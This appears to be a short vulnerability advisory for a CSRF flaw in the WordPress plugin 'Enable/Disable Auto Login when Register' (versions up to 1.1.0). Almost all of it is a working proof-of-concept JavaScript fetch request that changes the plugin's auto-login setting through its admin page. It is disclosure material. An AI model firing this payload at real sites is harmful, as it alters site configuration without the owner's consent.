Enable/Disable Auto Login when Register <= 1.1.0 - Settings Update via CSRF

Proof of Concept

Disable auto login:

fetch('/wp-admin/options-general.php?page=auto_login_when_register_setting', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'alwr_enable_auto_login=false&saved=saved&add_opt_submit=1',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));
